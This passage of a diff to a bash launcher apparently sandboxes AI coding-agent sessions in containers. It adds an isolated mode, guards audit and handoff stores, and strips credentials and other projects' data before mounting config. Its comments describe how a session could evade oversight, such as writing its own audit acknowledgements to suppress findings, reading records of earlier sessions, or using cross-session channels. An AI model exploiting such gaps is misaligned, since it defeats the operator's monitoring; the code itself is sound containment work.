echo "was staged, which is why it is refused here rather than with the" >&2
|
||||
echo "other mounts." >&2
|
||||
exit 1
|
||||
done
|
||||
done
|
||||
}
|
||||
|
||||
# Read-write host mounts. Distinct from [core] share_dir, which is mounted at
|
||||
# ~/shared - a well-known handoff point the agent is told about by name -
|
||||
# while these are mounted at their own absolute path, so a path that works on
|
||||
@@ -778,7 +997,8 @@ _guarded_stores() {
|
||||
[ ${#GUARDED_STORES[@]} -eq 0 ] || return 0
|
||||
GUARDED_STORES=("$(config_root)" "$AUDIT_DIR" "$BASELINE_DIR" \
|
||||
"$(config_get epitaph dir)" \
|
||||
"$(share_projects_root "$(config_get core share_dir)")")
|
||||
"$(share_projects_root "$(config_get core share_dir)")" \
|
||||
"$(isolated_share_root "$(config_get core share_dir)")")
|
||||
}
|
||||
|
||||
# The `projects` subdirectory of every read_write_per_project root: the
|
||||
@@ -818,13 +1038,13 @@ _refuse_guarded_mount() {
|
||||
_paths_overlap "$real" "$guarded_real" || continue
|
||||
echo "Refusing $kind: $path" >&2
|
||||
echo "It overlaps $guarded_real, which dejima needs out of a session's reach." >&2
|
||||
echo "Even read-only, that hands the session every project's approvals, the" >&2
|
||||
echo "record of what earlier sessions were caught doing, or every project's" >&2
|
||||
echo "handoff files." >&2
|
||||
echo "Mounted at all, that hands the session every project's approvals, the" >&2
|
||||
echo "record of what earlier sessions were caught doing, or the handoff files" >&2
|
||||
echo "of every project and every isolated session." >&2
|
||||
exit 1
|
||||
done
|
||||
}
|
||||
SANDBOX_RW_MOUNTS="$(config_get mounts read_write)"
|
||||
SANDBOX_RW_MOUNTS="$(_mounts_list read_write)"
|
||||
SANDBOX_RW_MOUNTS="$(_append_mounts "$SANDBOX_RW_MOUNTS" \
|
||||
${EXTRA_RW_FLAGS[@]+"${EXTRA_RW_FLAGS[@]}"})"
|
||||
RW_MOUNT_PATHS=()
|
||||
@@ -1150,6 +1370,24 @@ warn_if_inside_workspace "audit report store" "$AUDIT_DIR" \
|
||||
warn_if_inside_workspace "audit baseline store" "$BASELINE_DIR" \
|
||||
"a session can write its own acknowledgements, suppressing the" \
|
||||
"findings it would otherwise produce here from every later report."
|
||||
# The three above were the whole list, and the guarded-mount refusal further
|
||||
# down covers six. So a path dejima refuses to mount through [mounts] or --ro
|
||||
# was mounted without a word when it happened to sit inside the workspace -
|
||||
# not a judgement about which stores matter, just three that were written and
|
||||
# three that were not. A static test now holds the two lists in step.
|
||||
warn_if_inside_workspace "epitaph store" "$(config_get epitaph dir)" \
|
||||
"it holds each earlier session's own account of what it worked out, so" \
|
||||
"a session can read what every previous one in this project concluded" \
|
||||
"- the cross-session channel the never-mounted store exists to close -" \
|
||||
"and can delete them."
|
||||
warn_if_inside_workspace "share directories of every project" \
|
||||
"$(share_projects_root "$(config_get core share_dir)")" \
|
||||
"every project's handoff files can be read and rewritten, which is the" \
|
||||
"pile the per-project split removed."
|
||||
warn_if_inside_workspace "share directories of every isolated session" \
|
||||
"$(isolated_share_root "$(config_get core share_dir)")" \
|
||||
"the one thing an isolated session leaves behind is readable here, for" \
|
||||
"every isolated session this host has run."
|
||||
|
||||
SANDBOX_SSH_KEY="$(config_get core ssh_key)"
|
||||
if [ -n "$SANDBOX_SSH_KEY" ] && [ ! -f "$SANDBOX_SSH_KEY" ]; then
|
||||
@@ -1203,6 +1441,20 @@ if [ "$DEJIMA_WORKFLOW_PUSH" = "on" ] && [ "$have_forwarded_agent" = 0 ] && [ "$
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# The same empty file with an agent running is not fatal, and is the case a
|
||||
# dedicated key is chosen to avoid: no key is loaded, so SSH_AUTH_SOCK is not
|
||||
# blanked below, so the operator's own agent is mounted and signs for the whole
|
||||
# unattended session. Said out loud, because every other signal an operator has
|
||||
# - the key is configured, the launch starts, pushes work - agrees with the
|
||||
# arrangement they asked for.
|
||||
if [ -n "$SANDBOX_SSH_KEY" ] && [ "$have_usable_key" = 0 ] \
|
||||
&& [ "$have_forwarded_agent" = 1 ] && [ "$DEJIMA_WORKFLOW_PUSH" = "on" ]; then
|
||||
echo "Warning: [core] ssh_key names an empty file, so there is no key to load:" \
|
||||
"$SANDBOX_SSH_KEY" >&2
|
||||
echo "Your forwarded ssh-agent stays mounted and will sign for this session," \
|
||||
"which is what configuring a dedicated key is meant to prevent." >&2
|
||||
fi
|
||||
|
||||
# A valid forwarded socket with zero identities loaded forwards fine (the
|
||||
# container sees a live, working agent) but is useless for git-over-ssh -
|
||||
# warn now rather than have that surface confusingly deep into a session as
|
||||
@@ -1248,16 +1500,33 @@ fi
|
||||
# boundary ~/.claude is already sliced per project to hold. What the container
|
||||
# sees is still ~/shared, so nothing an agent has been told changes; what it
|
||||
# cannot see any more is another project's.
|
||||
#
|
||||
# An isolated launch gets one of its own instead, under a sibling root. Still
|
||||
# a real host directory, because handing a file back to the operator is the
|
||||
# one thing that mode keeps - but never the directory any other session had,
|
||||
# so it carries nothing in and nothing it is given reaches a later session.
|
||||
# The operator is told the path below, since there is no project name to find
|
||||
# it under.
|
||||
SANDBOX_SHARE_ROOT="$(config_get core share_dir)"
|
||||
SANDBOX_SHARE_DIR="$(share_dir_for "$SANDBOX_SHARE_ROOT" "$WORKSPACE_DIR")"
|
||||
if [ "$DEJIMA_ISOLATED" = 1 ]; then
|
||||
SANDBOX_SHARE_DIR="$(isolated_share_make "$SANDBOX_SHARE_ROOT")" || {
|
||||
echo "Could not make an isolated share directory under $SANDBOX_SHARE_ROOT" >&2
|
||||
exit 1
|
||||
}
|
||||
else
|
||||
SANDBOX_SHARE_DIR="$(share_dir_for "$SANDBOX_SHARE_ROOT" "$WORKSPACE_DIR")"
|
||||
fi
|
||||
mkdir -p "$SANDBOX_SHARE_DIR"
|
||||
|
||||
# Files an operator left in share_dir before the split are still there and are
|
||||
# no longer mounted anywhere. Said every launch while that is true, because
|
||||
# the alternative is a file that was handed to a session yesterday silently
|
||||
# not arriving today.
|
||||
# Both roots dejima writes are excluded, not just the per-project one: the
|
||||
# question this answers is "did something other than dejima put this here",
|
||||
# and an isolated session's share is dejima's.
|
||||
share_loose="$(find "$SANDBOX_SHARE_ROOT" -mindepth 1 -maxdepth 1 \
|
||||
! -name projects -printf '%f\n' 2>/dev/null | sort)" || true
|
||||
! -name projects ! -name isolated -printf '%f\n' 2>/dev/null | sort)" || true
|
||||
if [ -n "$share_loose" ]; then
|
||||
echo "Note: $SANDBOX_SHARE_ROOT holds entries no session can see any more," >&2
|
||||
echo " because ~/shared is now this project's own subdirectory of it:" >&2
|
||||
@@ -1286,8 +1555,14 @@ unset share_loose _entry
|
||||
# Which directories those are is the harness's (harness_config_dirs); that
|
||||
# they must exist before the mount is set up is dejima's. Already loaded, up
|
||||
# where the read_write refusal needed them.
|
||||
#
|
||||
# Only the ones that will be mounted, which for an isolated launch is the
|
||||
# read-only half - see the mount loop further down, which filters the same
|
||||
# way. Creating the others would have an isolated launch leave four empty
|
||||
# directories on a host it is not supposed to write to at all.
|
||||
for _rec in ${DEJIMA_CONFIG_DIRS[@]+"${DEJIMA_CONFIG_DIRS[@]}"}; do
|
||||
IFS=$'\t' read -r _cdir _cmode _cscan <<< "$_rec"
|
||||
[ "$DEJIMA_ISOLATED" = 0 ] || [ "$_cmode" = ro ] || continue
|
||||
mkdir -p "$_cdir"
|
||||
done
|
||||
|
||||
@@ -1304,7 +1579,27 @@ done
|
||||
# sandboxing back on (#47) - and that a plugin refusing here stops the launch
|
||||
# rather than starting a session the harness would misread.
|
||||
SANDBOX_SETTINGS_FILE="$(mktemp "${TMPDIR:-/tmp}/dejima-settings.XXXXXX.json")"
|
||||
harness_hook harness_prepare_config "$SANDBOX_SETTINGS_FILE" || exit 1
|
||||
# And a directory for whatever else that hook has to produce per run. The
|
||||
# settings override is one file and had one path; a harness whose
|
||||
# configuration is several files, or whose configuration must not persist
|
||||
# between launches, needs somewhere to put them that goes away with the run.
|
||||
# Removed by cleanup(), like every other per-run staging path.
|
||||
SANDBOX_HARNESS_STAGE_DIR="$(mktemp -d "${TMPDIR:-/tmp}/dejima-harness-stage.XXXXXX")"
|
||||
harness_hook harness_prepare_config "$SANDBOX_SETTINGS_FILE" "$SANDBOX_HARNESS_STAGE_DIR" || exit 1
|
||||
# The seed list again, now that the hook above has had its chance to add to
|
||||
# it: a hook whose job is to make a file has to run before the list that
|
||||
# mounts it. The load further up is what the mount guard ran against - a
|
||||
# guard after the mount it would refuse is not a guard - and nothing is
|
||||
# mounted yet here either, so the same rule is applied again below over
|
||||
# whatever this pass added.
|
||||
#
|
||||
# Re-checked rather than argued about. What a plugin adds here is, today, a
|
||||
# path dejima made this run and nothing an operator could have pointed a
|
||||
# mount at - but `harness_seed` runs again in full, so a plugin deriving a
|
||||
# seed from state prepare_config changed would reach the mount assembly on
|
||||
# that argument alone. The check is two loops over lists already built.
|
||||
harness_seed_load
|
||||
_refuse_rw_over_harness_host_config
|
||||
|
||||
# ~/.claude.json mixes live app state with config (mcpServers) that cannot be
|
||||
# split at the mount level, and read-only is not an option: Claude Code does
|
||||
@@ -1332,15 +1627,49 @@ harness_hook harness_prepare_config "$SANDBOX_SETTINGS_FILE" || exit 1
|
||||
# A file jq cannot parse is a refusal, not a fallback to cp. Falling back
|
||||
# would restore the exact leak this exists to close, at the moment least
|
||||
# likely to be noticed.
|
||||
SANDBOX_CLAUDE_JSON_FILE="$(mktemp "${TMPDIR:-/tmp}/dejima-claude-json.XXXXXX.json")"
|
||||
if [ -f "$HOME/.claude.json" ]; then
|
||||
if ! jq 'del(.primaryApiKey)' "$HOME/.claude.json" > "$SANDBOX_CLAUDE_JSON_FILE"; then
|
||||
echo "$HOME/.claude.json is not readable as JSON, so dejima cannot strip the" >&2
|
||||
echo "credential it may hold before copying it into the container." >&2
|
||||
exit 1
|
||||
#
|
||||
# The `projects` map is narrowed to the launching project at the same time, for
|
||||
# the reason #104 narrowed the projects MOUNT: the whole map is every project's.
|
||||
# It keys per-project state by absolute path, so a copy of all of it tells a
|
||||
# session the names of every project on the host, a sample of each one's
|
||||
# filenames (`exampleFiles`), and what each has cost (#380).
|
||||
#
|
||||
# The project's own path and anything under it, because a session's cwd is
|
||||
# routinely a worktree inside the project and Claude Code keys that separately.
|
||||
# Paths are compared as strings: both sides of this mount agree on them by
|
||||
# construction - same uid, same home, same project path - which is what makes
|
||||
# the comparison meaningful rather than a guess about layout.
|
||||
#
|
||||
# One function rather than one expression, because there are two call sites:
|
||||
# this one, and the re-seed further down for a backend whose credential IS
|
||||
# this file and whose proxy is off. That one differs in a single respect -
|
||||
# the credential stays - and it reached for `cp`, which put every other
|
||||
# project's entry back and did it after the credential scan had already read
|
||||
# the narrowed copy. The difference is a parameter now, so the narrowing
|
||||
# cannot be lost by taking the other path.
|
||||
_stage_claude_json() { # <keep-credential: true|false> <destination>
|
||||
local keep="$1" dest="$2"
|
||||
if [ ! -f "$HOME/.claude.json" ]; then
|
||||
echo '{}' > "$dest"
|
||||
return 0
|
||||
fi
|
||||
else
|
||||
echo '{}' > "$SANDBOX_CLAUDE_JSON_FILE"
|
||||
# The type is checked rather than the key's presence: `projects` holding
|
||||
# something other than an object is not a shape Claude Code writes, and
|
||||
# narrowing it would error - turning a parseable file into a refused launch
|
||||
# over a key with nothing in it to narrow.
|
||||
jq --arg proj "$WORKSPACE_DIR" --argjson keep "$keep" '
|
||||
(if $keep then . else del(.primaryApiKey) end)
|
||||
| if (.projects | type) == "object" then
|
||||
.projects |= with_entries(
|
||||
select(.key == $proj or (.key | startswith($proj + "/"))))
|
||||
else . end
|
||||
' "$HOME/.claude.json" > "$dest"
|
||||
}
|
||||
SANDBOX_CLAUDE_JSON_FILE="$(mktemp "${TMPDIR:-/tmp}/dejima-claude-json.XXXXXX.json")"
|
||||
if ! _stage_claude_json false "$SANDBOX_CLAUDE_JSON_FILE"; then
|
||||
echo "$HOME/.claude.json is not readable as JSON, so dejima cannot strip the" >&2
|
||||
echo "credential it may hold before copying it into the container." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
SANDBOX_AUDIT_STATE="$(mktemp "${TMPDIR:-/tmp}/dejima-audit.XXXXXX")"
|
||||
@@ -1387,6 +1716,15 @@ SANDBOX_FAKE_CREDENTIALS_FILE=""
|
||||
# something else on this host, which is a worse thing to get wrong than a file.
|
||||
SANDBOX_FILTER_CONTAINER=""
|
||||
SANDBOX_RUN_NETWORK=""
|
||||
# Same rule again, and `docker volume rm` is the third thing in this trap that
|
||||
# destroys something named rather than something mktemp'd.
|
||||
SANDBOX_ISOLATED_VOLUMES=""
|
||||
# SANDBOX_HARNESS_STAGE_DIR is deliberately absent, like SANDBOX_SETTINGS_FILE
|
||||
# and SANDBOX_CLAUDE_JSON_FILE: all three are mktemp'd further up, above the
|
||||
# trap, so there is no window for cleanup() to see an inherited value - and
|
||||
# resetting them here would run AFTER the assignment and throw the real path
|
||||
# away. That is what happened to the stage directory, which then leaked once
|
||||
# per launch while both the comment on it and the changelog said otherwise.
|
||||
SANDBOX_NVIM_LOCKFILE=""
|
||||
SANDBOX_DERIVED_DOCKERFILE=""
|
||||
SANDBOX_DERIVED_CONTEXT=""
|
||||
@@ -1569,7 +1907,7 @@ cleanup() {
|
||||
unset _audit_counts _audit_last _audit_cred _audit_api_last
|
||||
fi
|
||||
rm -f "$SANDBOX_SETTINGS_FILE" "$SANDBOX_CLAUDE_JSON_FILE" "${SANDBOX_NVIM_LOCKFILE:-}" "${SANDBOX_FAKE_CREDENTIALS_FILE:-}" "${SANDBOX_DERIVED_DOCKERFILE:-}" "${SANDBOX_BRIEFING_FILE:-}" "${SANDBOX_CREDENTIAL_PROXY_LOG:-}" || true
|
||||
rm -rf "${SANDBOX_GITCONFIG_DIR:-}" "${SANDBOX_CREDENTIAL_PROXY_DIR:-}" "${SANDBOX_DERIVED_CONTEXT:-}" || true
|
||||
rm -rf "${SANDBOX_GITCONFIG_DIR:-}" "${SANDBOX_CREDENTIAL_PROXY_DIR:-}" "${SANDBOX_DERIVED_CONTEXT:-}" "${SANDBOX_HARNESS_STAGE_DIR:-}" || true
|
||||
rm -f "${DEJIMA_SESSION_FILE:-}" || true
|
||||
# dejima-notify-watch keys its debounce stamps by run id. Removed here,
|
||||
# with the registry entry, because this is the only exit both of them are
|
||||
@@ -1608,6 +1946,29 @@ cleanup() {
|
||||
if [ -n "${SANDBOX_RUN_NETWORK:-}" ]; then
|
||||
docker network rm "$SANDBOX_RUN_NETWORK" >/dev/null 2>&1 || true
|
||||
fi
|
||||
# The five volumes an isolated launch named for itself.
|
||||
#
|
||||
# What keeps them out of every other session is the name rather than this
|
||||
# line: it carries this run's id and nothing else computes it, so a daemon
|
||||
# that has gone away leaves volumes nobody can ask for. What this line is
|
||||
# for is that they do not accumulate - one set per launch, and the
|
||||
# working-directory volume among them holds everything the session cloned
|
||||
# or wrote, with nothing else on the host to prune it.
|
||||
if [ -n "${SANDBOX_ISOLATED_VOLUMES:-}" ]; then
|
||||
# Deliberately unquoted - one name per word, all of them dejima's own.
|
||||
# shellcheck disable=SC2086
|
||||
docker volume rm $SANDBOX_ISOLATED_VOLUMES >/dev/null 2>&1 || true
|
||||
fi
|
||||
# And this session's share if it is still empty. `rmdir` rather than a
|
||||
# test, because only an empty directory can be removed that way and the
|
||||
# check is then the removal. It covers both a session that handed nothing
|
||||
# back and a launch refused after the directory was made - every refusal
|
||||
# that can happen after it, which is most of them, otherwise left one
|
||||
# behind for an operator to find and wonder about. An ordinary project's
|
||||
# share is not touched: that one is expected to outlive its sessions.
|
||||
if [ "$DEJIMA_ISOLATED" = 1 ] && [ -n "${SANDBOX_SHARE_DIR:-}" ]; then
|
||||
rmdir "$SANDBOX_SHARE_DIR" 2>/dev/null || true
|
||||
fi
|
||||
exit_step "session ended - keeping what it compacted away"
|
||||
# Keep whatever the session compacted away, into a store nothing mounts.
|
||||
# `|| true` for the same reason every other line in this trap has it: a
|
||||
@@ -1626,6 +1987,12 @@ cleanup() {
|
||||
# only ever suppresses, so a stale export makes epitaph quieter and never
|
||||
# louder, which is what makes it safe to honour from the environment at
|
||||
# all.
|
||||
#
|
||||
# An isolated launch reaches this with the key already overridden off, up
|
||||
# where the flag is read: an epitaph is taken from a transcript on the
|
||||
# host and that mode mounts none, so there is nothing to keep. Decided
|
||||
# there rather than here so that the banner and --print-config say the
|
||||
# same thing this does.
|
||||
if [ "$(config_get_bool epitaph enabled)" = "1" ]; then
|
||||
DEJIMA_EPITAPH_NO_SHIP="$NO_LOG" \
|
||||
"$SCRIPT_DIR/dejima-epitaph" save "$WORKSPACE_DIR" || true
|
||||
@@ -1644,7 +2011,14 @@ cleanup() {
|
||||
# HOST the session could have written, and for a per-project mount that is
|
||||
# the slice rather than the root it sits in. Naming the root would claim a
|
||||
# blast radius the per-project split exists to have narrowed.
|
||||
DEJIMA_RW_MOUNTS="$DEJIMA_RW_SOURCES" "$SCRIPT_DIR/dejima-audit" compare "$WORKSPACE_DIR" "$SANDBOX_AUDIT_STATE" || true
|
||||
#
|
||||
# Not run for an isolated launch, which has no host-side surface for the
|
||||
# audit to be about: its subject is the workspace's own files, and there
|
||||
# is no workspace. The one thing such a session can write is ~/shared,
|
||||
# and this never hashed that in any mode.
|
||||
if [ "$DEJIMA_ISOLATED" = 0 ]; then
|
||||
DEJIMA_RW_MOUNTS="$DEJIMA_RW_SOURCES" "$SCRIPT_DIR/dejima-audit" compare "$WORKSPACE_DIR" "$SANDBOX_AUDIT_STATE" || true
|
||||
fi
|
||||
rm -f "$SANDBOX_AUDIT_STATE" || true
|
||||
}
|
||||
trap cleanup EXIT
|
||||
@@ -1713,6 +2087,22 @@ done
|
||||
unset _git_field _git_value
|
||||
|
||||
export WORKSPACE_DIR
|
||||
# The whole mount spec for the working directory, because the compose file
|
||||
# cannot build it from a source and a target: an isolated launch mounts no
|
||||
# host path there at all, and that is a spec with no colon in it rather than
|
||||
# an empty one.
|
||||
#
|
||||
# An isolated launch names the compose file's isolated-work volume, which
|
||||
# gets this run's own name below and is removed with the other four. A bare
|
||||
# target would have asked for an anonymous volume instead, which is just as
|
||||
# unreachable by another session but leaves the reaping to whatever `compose
|
||||
# run --rm` does with one - and an unreaped workspace volume holds everything
|
||||
# the session cloned, once per launch, with nothing to prune it.
|
||||
if [ "$DEJIMA_ISOLATED" = 1 ]; then
|
||||
export SANDBOX_WORKSPACE_MOUNT="isolated-work:$WORKSPACE_DIR"
|
||||
else
|
||||
export SANDBOX_WORKSPACE_MOUNT="$WORKSPACE_DIR:$WORKSPACE_DIR"
|
||||
fi
|
||||
# The image's user is built to match this uid/gid/username exactly (see
|
||||
# Dockerfile) - this is what makes $HOME-based absolute paths (dotfiles,
|
||||
# ~/.claude's plugin bookkeeping) resolve identically inside the container.
|
||||
@@ -1875,6 +2265,36 @@ export SSH_AUTH_SOCK
|
||||
export SANDBOX_SSH_KEY_FILE="$SANDBOX_SSH_KEY"
|
||||
SSH_KNOWN_HOSTS="$(config_get core known_hosts)"; export SSH_KNOWN_HOSTS
|
||||
export GH_TOKEN="${GH_TOKEN:-}"
|
||||
# What the SESSION gets, which is not the same question as what the filter
|
||||
# container gets. GH_TOKEN above goes to the filter, where it authenticates
|
||||
# the GitHub ranges fetch - a request dejima makes about its own allowlist,
|
||||
# not something the session can reach - so that one crosses whatever the
|
||||
# session is trusted with.
|
||||
#
|
||||
# This is core's read-only GitHub credential, filled from [github] token_file
|
||||
# for every session whatever forge is selected. Read-only across an
|
||||
# operator's private repositories is still account-wide reach, so an isolated
|
||||
# launch does not get it: the mode's claim is that it carries no forge
|
||||
# credential, and that claim has to cover the one core fills in as well as
|
||||
# the one a forge declares.
|
||||
#
|
||||
# Unless this session has a forge to reach, which is the operator saying it is
|
||||
# meant to. Then nothing here is narrowed and the selection decides, exactly
|
||||
# as for any other launch.
|
||||
#
|
||||
# Read off the RESOLVED forge's capabilities rather than off whether a --forge
|
||||
# flag was passed. `--forge` naming the no-capability forge is an operator
|
||||
# asking for no forge, and it was counted as naming one - so the launch that
|
||||
# said most clearly that it wanted no forge access was the one that got the
|
||||
# credential. Capabilities rather than the forge's name, because core may not
|
||||
# name a forge, and because "a forge that can do nothing has no use for a
|
||||
# credential" is the actual rule.
|
||||
SANDBOX_GH_TOKEN="$GH_TOKEN"
|
||||
if [ "$DEJIMA_ISOLATED" = 1 ] \
|
||||
&& [ -z "$(manifest_get forge "$DEJIMA_FORGE_NAME" capabilities)" ]; then
|
||||
SANDBOX_GH_TOKEN=""
|
||||
fi
|
||||
export SANDBOX_GH_TOKEN
|
||||
export ALLOWED_DOMAINS="${ALLOWED_DOMAINS:-}"
|
||||
# The --allow-github-push flag and a selected forge whose hosts_allowlisted_by_core
|
||||
# says these are its own push hosts (see ALLOW_CORE_PUSH_GRANT above) are the
|
||||
@@ -2307,13 +2727,20 @@ if [ -n "$DEJIMA_BACKEND_NAME" ]; then
|
||||
#
|
||||
# Re-seeded rather than never stripped, so the safe form is what every
|
||||
# other path gets and this is one explicit step away from it.
|
||||
#
|
||||
# Through the same narrowing, with only the credential kept. It was a
|
||||
# plain `cp`, which also put back the `projects` map #381 narrowed - every
|
||||
# other project's path, filenames and costs - and did it after the
|
||||
# credential scan had read the narrowed copy, so nothing ever looked at
|
||||
# what came back.
|
||||
if [ "$DEJIMA_BACKEND_CREDENTIAL_KIND" != none ] \
|
||||
&& [ -n "$DEJIMA_BACKEND_CREDENTIAL_FIELD" ] \
|
||||
&& ! backend_proxy_enabled "$DEJIMA_BACKEND_NAME" \
|
||||
&& [ -f "$HOME/.claude.json" ] \
|
||||
&& [ "$(readlink -m "$DEJIMA_BACKEND_CREDENTIAL_FILE")" \
|
||||
= "$(readlink -m "$HOME/.claude.json")" ]; then
|
||||
cp "$HOME/.claude.json" "$SANDBOX_CLAUDE_JSON_FILE"
|
||||
_stage_claude_json true "$SANDBOX_CLAUDE_JSON_FILE" \
|
||||
|| { echo "$HOME/.claude.json stopped being readable as JSON." >&2; exit 1; }
|
||||
echo "[backend.$DEJIMA_BACKEND_NAME] proxy is off, so this session gets your real" >&2
|
||||
echo "$DEJIMA_BACKEND_CREDENTIAL_FIELD from $HOME/.claude.json." >&2
|
||||
fi
|
||||
@@ -2505,6 +2932,19 @@ extra_mounts+=(-e "DEJIMA_FORGE_REPO_ENV=$DEJIMA_FORGE_REPO_ENV")
|
||||
mounted_dirs=""
|
||||
for _rec in ${DEJIMA_CONFIG_DIRS[@]+"${DEJIMA_CONFIG_DIRS[@]}"}; do
|
||||
IFS=$'\t' read -r dir mounted_mode mounted_scan <<< "$_rec"
|
||||
# An isolated launch takes the read-only ones and none of the writable
|
||||
# ones. The split is already in the declaration, so this filters on what
|
||||
# the harness said rather than on a list of names kept here.
|
||||
#
|
||||
# The two halves answer differently. A read-only directory is the
|
||||
# OPERATOR's - their hooks, skills and commands - and a session cannot
|
||||
# write to it, so nothing it holds came from an earlier session and
|
||||
# nothing this one does will reach a later one. The writable ones are
|
||||
# shared state every project's sessions append to (#380), which is the
|
||||
# channel this mode exists to close.
|
||||
if [ "$DEJIMA_ISOLATED" = 1 ] && [ "$mounted_mode" != ro ]; then
|
||||
continue
|
||||
fi
|
||||
emit_mount "$dir" "$mounted_mode"
|
||||
[ "$mounted_scan" = scan ] || continue
|
||||
[ -d "$dir" ] || continue
|
||||
@@ -2647,7 +3087,15 @@ fi
|
||||
# harness plugin, which declares each mount through emit_mount. The guarded-
|
||||
# store refusal runs there, at the point of declaration, rather than being
|
||||
# something each plugin has to remember. See bin/dejima-harness-lib.sh.
|
||||
harness_hook harness_state_mounts "$WORKSPACE_DIR"
|
||||
#
|
||||
# Not called at all for an isolated launch, which is both halves of what that
|
||||
# mode needs here: this hook is what mounts the transcripts and the memory
|
||||
# under ~/.claude/projects, and it CREATES the directory for the workspace's
|
||||
# own slug before mounting it. Skipping the call is therefore also what stops
|
||||
# an isolated launch leaving a directory on the host.
|
||||
if [ "$DEJIMA_ISOLATED" = 0 ]; then
|
||||
harness_hook harness_state_mounts "$WORKSPACE_DIR"
|
||||
fi
|
||||
|
||||
# statusline.sh is executed on the host by Claude Code (settings.json's
|
||||
# statusLine.command), so it is staged for entrypoint.sh to copy rather than
|
||||
@@ -2945,11 +3393,28 @@ if [ -n "$DEJIMA_BACKEND_NAME" ] \
|
||||
# which the EXIT trap removes.
|
||||
extra_mounts+=(-v "$SANDBOX_FAKE_CREDENTIALS_FILE:$HOME/.claude/.credentials.json")
|
||||
fi
|
||||
elif [ -f "$HOME/.claude/.credentials.json" ]; then
|
||||
elif [ -n "$DEJIMA_BACKEND_NAME" ] \
|
||||
&& [ "$DEJIMA_BACKEND_CREDENTIAL_KIND" != none ] \
|
||||
&& ! backend_proxy_enabled "$DEJIMA_BACKEND_NAME" \
|
||||
&& [ -f "$HOME/.claude/.credentials.json" ] \
|
||||
&& [ "$(readlink -m "$DEJIMA_BACKEND_CREDENTIAL_FILE")" \
|
||||
= "$(readlink -m "$HOME/.claude/.credentials.json")" ]; then
|
||||
# No proxy: the session authenticates with the real credential, so it has
|
||||
# to be mounted in. Read-write because Claude Code refreshes it in place.
|
||||
# This is the documented downgrade, not an oversight - see the kill-switch
|
||||
# message above and docs/security.md.
|
||||
#
|
||||
# Each condition names a way this stops being that downgrade and becomes a
|
||||
# credential handed to a session with no use for it. The branch above is
|
||||
# the proxy engaging; everything else used to fall through to here, which
|
||||
# meant a backend needing no credential at all - a model you serve
|
||||
# yourself, the arrangement docs/security.md calls the one with nothing in
|
||||
# the container to steal - mounted the real subscription login anyway. So
|
||||
# did a backend whose own credential file is somewhere else and missing.
|
||||
#
|
||||
# The file is compared, not just the kind: this mount is for the case
|
||||
# where THIS backend's credential IS this file, and the operator turned
|
||||
# the proxy off for it.
|
||||
extra_mounts+=(-v "$HOME/.claude/.credentials.json:$HOME/.claude/.credentials.json")
|
||||
fi
|
||||
export SANDBOX_ANTHROPIC_BASE_URL SANDBOX_ANTHROPIC_AUTH_TOKEN SANDBOX_CREDENTIAL_PROXY_SOCKET
|
||||
@@ -3070,7 +3535,17 @@ if remote_enabled; then
|
||||
# exists, so it covers the whole build, and it stops being true at exactly
|
||||
# the moment the EXIT trap below stops being able to run.
|
||||
{
|
||||
printf 'workspace=%s\n' "$WORKSPACE_DIR"
|
||||
# `dejima-attach --list` shows this column as a basename, which for an
|
||||
# isolated launch would be "work" - the name of dejima's own scratch
|
||||
# path rather than anything about the session. Same substitution the
|
||||
# startup banner makes, and for the same reason. What tells two
|
||||
# concurrent isolated sessions apart is the run id beside it, which
|
||||
# that listing already prints.
|
||||
if [ "$DEJIMA_ISOLATED" = 1 ]; then
|
||||
printf 'workspace=isolated\n'
|
||||
else
|
||||
printf 'workspace=%s\n' "$WORKSPACE_DIR"
|
||||
fi
|
||||
printf 'pane=%s\n' "${TMUX_PANE:-}"
|
||||
printf 'label=%s\n' "$dejima_tmux_label"
|
||||
printf 'started=%s\n' "$(date +%s)"
|
||||
@@ -3157,8 +3632,21 @@ startup_banner() {
|
||||
# C_BADGE, the same name the pickers set the mark in. Two surfaces
|
||||
# spelling the wordmark two different colours is the drift a shared
|
||||
# palette exists to stop.
|
||||
printf '\n %sdejima%s %s%s%s' \
|
||||
"$C_BADGE" "$C_RESET" "$C_KEY" "$(basename -- "$WORKSPACE_DIR")" "$C_RESET" >&2
|
||||
local name
|
||||
# The working directory's basename would be "work" here, which names
|
||||
# dejima's own scratch path rather than anything about the launch.
|
||||
if [ "$DEJIMA_ISOLATED" = 1 ]; then
|
||||
name="isolated"
|
||||
else
|
||||
name="$(basename -- "$WORKSPACE_DIR")"
|
||||
fi
|
||||
# The release this checkout is on, beside the wordmark: "which version am
|
||||
# I running" is a question an operator should not have to ask, and a
|
||||
# launch is where they are already looking. Dim, because it is context
|
||||
# rather than a choice this launch made.
|
||||
printf '\n %sdejima%s %s%s%s %s%s%s' \
|
||||
"$C_BADGE" "$C_RESET" "$C_KEY" "$name" "$C_RESET" \
|
||||
"$C_DIM" "$(dejima_version "$REPO_ROOT")" "$C_RESET" >&2
|
||||
[ -z "$branch" ] || printf ' %s%s%s %s' "$C_DIM" "$GLYPH_SEP" "$C_RESET" "$branch" >&2
|
||||
printf '\n %sharness%s %s %sforge%s %s %sworkflow%s %s\n' \
|
||||
"$C_DIM" "$C_RESET" "$DEJIMA_HARNESS_NAME${model:+ ($model)}" \
|
||||
@@ -3171,6 +3659,21 @@ startup_banner() {
|
||||
}
|
||||
startup_banner
|
||||
|
||||
# Printed whatever [ui] banner says and whether or not stderr is a terminal,
|
||||
# unlike the banner above: the share path is the only route back to anything
|
||||
# this session hands over, and the two features it does without are ones an
|
||||
# operator would otherwise go looking for afterwards and find empty.
|
||||
if [ "$DEJIMA_ISOLATED" = 1 ]; then
|
||||
printf '\n %sisolated%s no project mounted, no memory, no transcript;\n' \
|
||||
"${C_KEY:-}" "${C_RESET:-}" >&2
|
||||
printf ' conversation log and epitaph off - both read one\n' >&2
|
||||
printf ' %sforge%s %s %sworkflow%s %s\n' \
|
||||
"${C_DIM:-}" "${C_RESET:-}" "$DEJIMA_FORGE_NAME" \
|
||||
"${C_DIM:-}" "${C_RESET:-}" "$DEJIMA_WORKFLOW_NAME" >&2
|
||||
printf ' %sshared%s %s\n' "${C_DIM:-}" "${C_RESET:-}" "$SANDBOX_SHARE_DIR" >&2
|
||||
printf ' the only thing that outlives this session\n' >&2
|
||||
fi
|
||||
|
||||
printf '\n%sdejima%s is starting, please wait...\n' "$C_KEY" "$C_RESET" >&2
|
||||
printf '%sA first run builds the container image, which takes several minutes.%s\n' \
|
||||
"$C_DIM" "$C_RESET" >&2
|
||||
@@ -3225,7 +3728,11 @@ fi
|
||||
|
||||
